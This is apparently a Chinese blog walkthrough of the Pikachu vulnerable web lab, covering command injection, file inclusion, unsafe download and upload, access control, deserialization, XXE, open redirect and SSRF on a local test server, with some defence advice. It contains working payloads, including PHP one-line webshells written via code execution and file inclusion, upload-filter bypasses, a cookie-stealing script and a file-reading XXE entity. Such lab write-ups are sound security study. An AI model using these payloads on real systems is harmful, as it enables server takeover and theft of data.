pikachu靶场通关(下)

第五关:RCE

5.1exec"ping"

一、什么是RCE?
RCE漏洞,可以让攻击者直接向后台服务器远程注入操作系统命令或者代码,从而控制后台系统。

1、远程系统命令执行
出现原因:因为应用系统从设计上需要给用户提供指定的远程命令操作的接口。

比如常见的路由器、防火墙、入侵检测等设备的web管理界面上,一般会给用户提供一个ping操作的web界面,用户从web界面输入目标IP,提交后,后台会对该IP地址进行一次ping测试,并返回测试结果。而如果设计者在完成该功能时,没有做严格的安全控制,则可能会导致攻击者通过该接口提交“意想不到”的命令,从而控制整个后台服务器。

例如:如今很多甲方企业的自动化运维平台,大量的系统操作会通过“自动化运维”平台进行操作,其中往往会出现远程系统命令执行的漏洞。

2、远程代码执行
出现原因:因为需求设计,后台有时候会把用户的输入作为代码的一部分进行执行,也造成了远程代码执行漏洞,不管是使用了代码执行的函数,还是使用了不安全的反序列化等等。

防御:如果需要给前端用户提供操作类的API接口,一定需要对接口的输入的内容进行严格的判断,比如实施严格的白名单是一个好的方法。
 

先ping一下本地IP127.0.0.1

多条命令执行的管道符
Windows系统支持的管道符
“|”:直接执行后面的语句,如 ping 127.0.0.1|whoami ,只执行whoami程序。
“||”:如果前面语句执行错误,则执行后面的语句,前面的语句只能为假。如 ping 2 || whoami 。
“&”:如果前面的语句为假则直接执行后面的语句,前面的语句可真可假。如 ping 127.0.0.1&whoami 。
“&&”:如果前面的语句为假则直接出错,也不执行后面的语句,前面的语句只能为真。如 ping 127.0.0.1&&whoami 。

Linux系统支持的管道符
“;”:执行完前面的语句再执行后面的。如 ping 127.0.0.1;whoami 。
“|”:显示后面语句的执行结果。如 ping 127.0.0.1|whoami 。
“||”:当前面的语句执行错误时,执行后面的语句,如 ping 127.0.0.1||whoami 。
“&”:如果前面的语句为假则直接执行后面的语句,前面的语句可真可假。如ping 127.0.0.1&whoami 。
“&&”:如果前面的语句为假则直接出错,也不执行后面的,前面的语句只能为真。如ping 127.0.0.1&&whoami 。

由于windows和linux有3个命令连接符是相同的(|,||,&&),因此在不知道目标的具体操作系统的情况下,可以先用这三种测试。

这次先用管道符(&&)试试吧。命令就用whoami

为啥用whoami命令呢?因为这个命令不但windows和linux系统都支持(windows xp不默认支持,可安装),而且显示的内容不同,不但可以用来判断是否有远程命令执行漏洞,还可以用来判断操作系统(linux系统中显示当前执行操作的用户名,windows系统中显示当前登录的域名和用户名)

输入Payload:127.0.0.1 && whoami

可以看到除了执行了 127.0.0.1 ,还执行了 whoami 。

 输入payload:127.0.0.1 && dir

可以看到当前路径和路径下的文件

 查看源码,发现后台直接把变量拼接起来,没做处理

5.2exec"evel"

输入:phpinfo();

可以看到函数被执行了

根据代码执行这个漏洞,我们可以通过此处上传一句话木马。

输入payload:

fputs(fopen('shell.php','w'),'<?php assert($_POST[fin]);?>');

到本关目录下查看发现木马文件已经上传成功

第六关:File Inclusion

和SQL注入等攻击方式一样,文件包含漏洞也是一种“注入型漏洞”,其本质就是输入一段用户能够控制的脚本或者代码,并让服务器端执行。

什么叫包含呢?以PHP为例,我们常常把可重复使用的函数写入到单个文件中,在使用该函数时,直接调用此文件,而无需再次编写函数,这一过程就叫做包含。

有时候由于网站功能需求,会让前端用户选择要包含的文件,而开发人员又没有对要包含的文件进行安全考虑,就导致攻击者可以通过修改文件的位置来让后台执行任意文件,从而导致文件包含漏洞。

以PHP为例,常用的文件包含函数有以下四种:

include(),require(),include_once(),require_once()

区别如下:

require(),找不到被包含的文件时会产生致命错误,并停止脚本运行。
include(),找不到被包含的文件时只会产生警告,脚本将继续运行。
include_once()与include()类似,唯一区别是如果该文件中的代码已经被包含,则不会再次包含。
require_once()与require()类似,唯一区别是如果该文件中的代码已经被包含,则不会再次包含。
2.漏洞原因
include()函数并不在意被包含的文件是什么类型,只要有php代码,都会被解析出来,如果网站有文件包含漏洞,jpg文件就可以被当作php文件进行解析。

3.漏洞危害
1.本地文件包含漏洞:仅能够对服务器本地的文件进行包含,由于服务器上的文件并不是攻击者所能够控制的,因此该情况下,攻击着更多的会包含一些 固定的系统配置文件,从而读取系统敏感信息。很多时候本地文件包含漏洞会结合一些特殊的文件上传漏洞,从而形成更大的威力。
2.远程文件包含漏洞:能够通过url地址对远程的文件进行包含,这意味着攻击者可以传入任意的代码,这种情况没啥好说的,准备挂彩。
因此,在web应用系统的功能设计上尽量不要让前端用户直接传变量给包含函数,如果非要这么做,也一定要做严格的白名单策略进行过滤。

4.如何防御
1、使用str_replace等方法过滤掉危险字符

2、配置open_basedir,防止目录遍历

3、php版本升级,防止%00截断

4、对上传的文件进行重命名,防止被读取

5、对于动态包含的文件可以设置一个白名单,不读取非白名单的文件

6、做好管理员权限划分,做好文件的权限管理
 

6.1File Inclusion(local)

6.1.1读取隐藏文件

随便选一个球星,出现一张图片和一段字

 url是这个:http://localhost/vul/fileinclude/fi_local.php?filename=file1.php&submit=%E6%8F%90%E4%BA%A4%E6%9F%A5%E8%AF%A2#其中包含了一个 file1.php 的文件,直接通过url从前端发送到后端,如果没有进行过滤,很可能有文件包含漏洞

通过尝试,发现五个球星的图片文件名分别是file1.php,file2.php,file3.php,file4.php,file5.php.

那么有没有第六个文件呢,虽然选项只给我们五个选择,但是我们可以修改url

果然发现了隐藏文件,那么有没有第七个,第八个......

 我们用burpsuite来爆破,选择攻击位置

 payload类型选择数值,从6到100,开始攻击

 看返回长度,发现file6,7,8,9,100的返回长度异常

 file6已经被我们找试过了,接下来一个一个尝试,都是出现报错,应该没有别的隐藏文件了


我们打开后台文件看看

当我们选择相应的球星时,变量传到后端,include()函数包含的文件是与fi_local.php同文件夹下include文件夹中的文件没做任何安全限制

 include文件下可以看到有六个文件和五张图片

 6.1.2读取系统文件

从上面的报错信息还可以发现系统是windows系统,并且网站根目录是C:\phpstudy_pro\WWW

windows系统肯定有的文件是C:\Windows\win.ini,用这个来尝试有没有文件包含漏洞。

上一部分已经分析过,上图报错信息泄露出include()函数包含的文件是与fi_local.php同文件夹下include文件夹中的文件,由于路径参数中有个固定的include/,因此就不能用绝对路径了。

结合报错信息中泄露的fi_local.php文件位置

D:\phpstudy_pro\WWW\pikachu-master\vul\fileinclude\fi_local.php

可以算出相对路径为C:/../../../../../../windows/win.ini,代入url中组成payload:

http://localhost/vul/fileinclude/fi_local.php?filename=&submit=%E6%8F%90%E4%BA%A4%E6%9F%A5%E8%AF%A2#C:/../../../../../../windows/win.inihttp://localhost/vul/fileinclude/fi_local.php?filename=&submit=%E6%8F%90%E4%BA%A4%E6%9F%A5%E8%AF%A2#

6.2File Inclusion(remote)

打开这一关就提示我们allow_url_include没有打开

 打开PHPstudy的配置文件,php.ini

 ctrl+f搜索allow_url_include后把off改成on即可

 这一关跟上面一关一样,url中把includ()函数的完整参数给了出来

 所以这关其实除了远程文件包含,还可以本地文件包含使用绝对路径

我们在fi_remote.php这个文件所在的文件夹下新建一个shell.txt文件,里面写上一句话木马

<?php fputs(fopen('shell.php','w'),'<?php @eval($_POST[caker])  ?> ' ); ?>

​这是shell.txt文件的绝对路径 ‪D:\phpstudy_pro\WWW\pikachu-master\vul\fileinclude\shell.txt

 这是随便选一张图片的url

 http://localhost/vul/fileinclude/fi_remote.php?filename=include%2Ffile1.php&submit=%E6%8F%90%E4%BA%A4%E6%9F%A5%E8%AF%A2

然后把shell.txt的绝对路径拼接到url中构造payload:

http://localhost/vul/fileinclude/fi_remote.php?filename=D:\phpstudy_pro\WWW\pikachu-master\vul\fileinclude\shell.txt%2Ffile1.php&submit=%E6%8F%90%E4%BA%A4%E6%9F%A5%E8%AF%A2​

输入payload后,没有回显

 但是查看文件,此时shell.txt应该被成功解析,在服务器上创建了一句话木马文件shell.php。

 用中国蚁剑连接成功。(密码是shell.php文件里的post密码,url地址直接复制过来要改成shell.php文件的)

 

第七关:Unsafe File download

文件下载功能在很多web系统上都会出现,一般我们当点击下载链接,便会向后台发送一个下载请求,一般这个请求会包含一个需要下载的文件名称,后台在收到请求后 会开始执行下载代码,将该文件名对应的文件response给浏览器,从而完成下载。 如果后台在收到请求的文件名后,将其直接拼进下载文件的路径中而不对其进行安全判断的话,则可能会引发不安全的文件下载漏洞。
此时如果 攻击者提交的不是一个程序预期的的文件名,而是一个精心构造的路径(比如../../../etc/passwd),则很有可能会直接将该指定的文件下载下来。 从而导致后台敏感信息(密码文件、源代码等)被下载。

所以,在设计文件下载功能时,如果下载的目标文件是由前端传进来的,则一定要对传进来的文件进行安全考虑。 切记:所有与前端交互的数据都是不安全的,不能掉以轻心!

点击下载一张图片,页面没有跳转,url也没有变化

查看网页源码,当我们点击球星名字下载时,相当于点击了a标签:

<a href="execdownload.php?filename=kb.png">科比.布莱恩特</a>

调用了execdownload.php文件,并且把图片参数赋值给filename,然后传给后台执行下载

 我们只需要修改filename的参数为我们指定下载的文件路径,这里只能使用相对路径(后面讲),下载我们上一关建的shell.txt文件

用../../跳两级出来到vul文件夹下,再进fileinclude文件夹里下载shell.txt文件(为什么跳两级后面讲)

构造payload:

http://localhost/vul/unsafedownload/execdownload.php?filename=../../fileinclude/shell.txt

下载成功,不过被安全软件自动拦截了

 查看本地的源码,发现我们传进去的参数是拼接到download文件夹下的 

​所以我们不能使用绝对路径,只能使用相对路径跳出两级出来。

 修改代码,增加白名单,只允许下载科比的图片,其他都不允许下载

 

 只要把所以图片都加进白名单,就可以有效防止这个漏洞

第八关:Unsafe File upload

文件上传功能在web应用系统很常见,比如很多网站注册的时候需要上传头像、上传附件等等。当用户点击上传按钮后,后台会对上传的文件进行判断 比如是否是指定的类型、后缀名、大小等等,然后将其按照设计的格式进行重命名后存储在指定的目录。 如果说后台对上传的文件没有进行任何的安全判断或者判断条件不够严谨,则攻击着可能会上传一些恶意的文件,比如一句话木马,从而导致后台服务器被webshell。

所以,在设计文件上传功能时,一定要对传进来的文件进行严格的安全考虑。比如:
--验证文件类型、后缀名、大小;
--验证文件的上传方式;
--对文件进行一定复杂的重命名;
--不要暴露文件上传后的路径;
--等等...

8.1client check

我们尝试直接上传前面的一句话木马shell.php文件

 弹出信息不允许上传

 查看源码,发现只能上传指定的图片后缀名文件

那我们就改后缀名为jpg再上传,绕过前端的检查

 打开burp suite的拦截,点击上传,抓包,把shell.jpg改成shell.php,然后放包给它上传到后端

 显示上传成功

 打开所给路径,发现确实上传成功

 用中国蚁剑连接

 8.2MIME type

选择shell.jpg文件,打开burp suite拦截抓包

 把后缀名改成php,然后让数据包过去

 上传成功

 第二种就是修改MIME类型,jpg的MIME类型为image/jpeg,修改发送数据包上传成功

 

8.3getimagesize

试试直接上传shell.jpg,被发现了 

上传一个真的图片看看,上传成功,并且给出了路径,但是图片名字被重命名了,带有当前日期 

 去查了一下资料

getimagesize() 函数用于获取图像大小及相关信息,成功返回一个数组,失败则返回 FALSE 并产生一条 E_WARNING 级的错误信息。

getimagesize() 函数将测定任何 GIF,JPG,PNG,SWF,SWC,PSD,TIFF,BMP,IFF,JP2,JPX,JB2,JPC,XBM 或 WBMP 图像文件的大小并返回图像的尺寸以及文件类型及图片高度与宽度。

 那就意味着我们只能上传真的图片,不能通过改后缀名的方式绕过了

不过我们可以在图片中插入一句话木马,构造图片马

 选择图片马上传,给出了保存路径

uploads/2023/04/14/78282764393a2d36b54901437383.png

查看路径下的图片

 

 因为图片文件不能无法直接利用,可以通过文件包含,getshell,构造payload:

 http://localhost/vul/fileinclude/fi_local.php?filename=../../unsafeupload/uploads/2023/04/14/78282764393a2d36b54901437383.png&submit=%E6%8F%90%E4%BA%A4%E6%9F%A5%E8%AF%A2

访问后,出现一堆乱码,说明我们的图片马被解析了

用蚁剑连接

 

 第九关:Over Permission

逻辑越权漏洞简述
漏洞描述
越权访问(Broken Access Control,BAC),指应用在检查授权时存在漏洞,使得攻击者在获得低权限用户账号后,利用一些方式绕过权限检查,访问或者操作其他用户或者更高权限的用户。
越权的成因是因为开发人员在对数据进行增删查改时,对客户端请求的数据过分相信而遗漏了权限的判定,权限验证不当而导致的越权行为。

漏洞原因
通常情况下,一个 Web 程序功能流程是登录 - 提交请求 - 验证权限 - 数据库查询 - 返回结果。如果验证权限不足,便会导致越权。常见的程序都会认为通过登录后即可验证用户的身份,从而不会做下一步验证,最后导致越权。

隐藏URL
直接对象引用
多阶段功能
静态文件
平台配置错误
漏洞分类
水平越权
水平越权是指攻击者尝试访问与他具有相同权限的用户资源。
比如,用户A和用户B属于同一角色,拥有相同的权限等级,他们能获取自己的私有数据(数据A和数据B),但如果系统只验证了能访问数据的角色,而没有对数据做细分或者校验,导致用户A能访问到用户B的数据(数据B),那么用户A访问数据B的行为就叫做水平越权访问。
以下是常出现的水平越权的几种场景:

基于用户身份ID
在使用某个功能时,通过用户提交的身份ID(用户ID、账号、手机号、证件号等用户唯一标识)来访问或操作对应的数据。
基于对象ID
在使用某个功能时,通过用户提交的对象ID(如订单号、记录号)来访问或操作对应的数据。
基于文件名
在使用某个功能时,通过文件名直接访问文件,最常见于用户上传文件的场景。

垂直越权
垂直越权是指低权限用户尝试访问高权限用户的资源。
由于后台应用没有做权限控制,或仅仅在菜单、按钮上做了权限控制,导致恶意用户只要猜测其他管理页面的URL或者敏感的参数信息,就可以访问或控制其他角色拥有的数据或页面,达到权限提升的目的。
主要有以下两种场景:

未认证账号,访问无需认证后能访问该功能
不具备某个功能权限的账户,认证后能成功访问该功能

权限框架缺陷
权限控制框架是实现权限控制功能的基础(例如shiro),如果权限控制框架本身存在缺陷,那么就会导致权限控制功能完全失效。

9.1水平越权

以lucy的身份登录,可以查看个人信息,注意到,url中有lucy的名字

 我们把lucy改成kobe,果然出现了kobe的信息。

 没有对传进去的参数跟当前登录的身份进行校验,而是直接把url中的参数拼接到数据库中去查询

9.2垂直越权 

提示有两个用户,admin的权限应该比pikachu的权限大

 

 尝试都登录上去看看

admin应该是管理员,可以对数据进行增删查改 

而pikachu只有查看的权限

 登录admin,添加用户,记录下url

http://localhost/vul/overpermission/op2/op2_admin_edit.php

然后删除刚刚添加的用户,小明,记录url 

 ​​​​​​http://localhost/vul/overpermission/op2/op2_admin.php?id=30

 然后退出登录,用皮卡丘身份登录,直接在上面输入刚刚记录的添加用户的url,就会发现页面跳转到添加用户信息的页面,我们添加一个用户,小红

提交后,会跳转到重新登录的页面 

 

 登录pikachu后,发现小红的信息已经成功添加到表里了

 我们再输入删除用户的url,但是哪个url是删除小明的url,id=30,现在不知道其他人的id,尝试修改id为其他,但是都没有成功,要么是id不正确,要么是这个删除权限不存在水平越权漏洞

第十关:../../(目录遍历)

前面的文件包含已经讲过了

第十一关:敏感信息泄露

10.1IcanseeyourABC

查看页面源码,找到注释掉的账号密码 

登录成功后,url为:

http://localhost/vul/infoleak/abc.php

 退出登录后,在地址栏直接输入刚才的url,发现不用登录能直接访问

第十二关:PHP反序列化

12.1PHP反序列化漏洞

转换为字符串,从而达到传输和存储的目的;反序列化是把字符串还原为对象,以便被代码处理。

这里说的字符串不是普通字符串,是有固定格式的。

直接用概述里给的payload

 弹窗成功

 改一下payload,获取页面cookie:

O:1:"S":1:{s:4:"test";s:39:"<script>alert(document.cookie)</script>";}

第十三关:XXE

什么是XXE

简单来说,XXE就是XML外部实体注入。当允许引用外部实体时,通过构造恶意内容,就可能导致任意文件读取、系统命令执行、内网端口探测、攻击内网网站等危害。

例如,如果你当前使用的程序为PHP,则可以将libxml_disable_entity_loader设置为TRUE来禁用外部实体,从而起到防御的目的。

基本利用

通常攻击者会将payload注入XML文件中,一旦文件被执行,将会读取服务器上的本地文件,并对内网发起访问扫描内部网络端口。换而言之,XXE是一种从本地到达各种服务的方法。此外,在一定程度上这也可能帮助攻击者绕过防火墙规则过滤或身份验证检查。

12.1XXE漏洞

输入payload

  1. <?xml version="1.0"?> 

  2. <!DOCTYPE foo [    

  3. <!ENTITY xxe "pikachu" > ]> 

  4. <foo>&xxe;</foo>

c:/windows/win.ini是每个windows系统都有的文件,如果确定服务器是windows系统,就可以用该文件来确定是否有xxe漏洞

输入payload:

<?xml version = "1.0"?> <!DOCTYPE ANY [     <!ENTITY f SYSTEM "file:///C://Windows/win.ini">   ]> <x>&f;</x>


即可查看c:/windows/win.ini的内容

 第十四关:URL重定向

14.1不安全的URL跳转

不安全的url跳转问题可能发生在一切执行了url地址跳转的地方。
如果后端采用了前端传进来的(可能是用户传参,或者之前预埋在前端页面的url地址)参数作为了跳转的目的地,而又没有做判断的话
就可能发生"跳错对象"的问题。

url跳转比较直接的危害是:
-->钓鱼,既攻击者使用漏洞方的域名(比如一个比较出名的公司域名往往会让用户放心的点击)做掩盖,而最终跳转的确实钓鱼网站

分别点击四句话,第一第二句没有变化,第三句话跳转到概述页面,第四句话如下

查看页面源码

 第四个的url

 http://localhost/vul/urlredirect/urlredirect.php?url=i

我们把i改成想要跳转的网站url即可,例如

localhost/vul/urlredirect/urlredirect.php?url=https://www.baidu.com/index.php?tn=monline_3_dg

 

 第十五关:SSRF

15.1SSRF(curl)

 url后面拼接上百度的地址

 发现百度竟然和这个页面融合了

 15.2SSRF(file_get_content)

 同样可以改成百度

  • 0
    点赞
  • 8
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值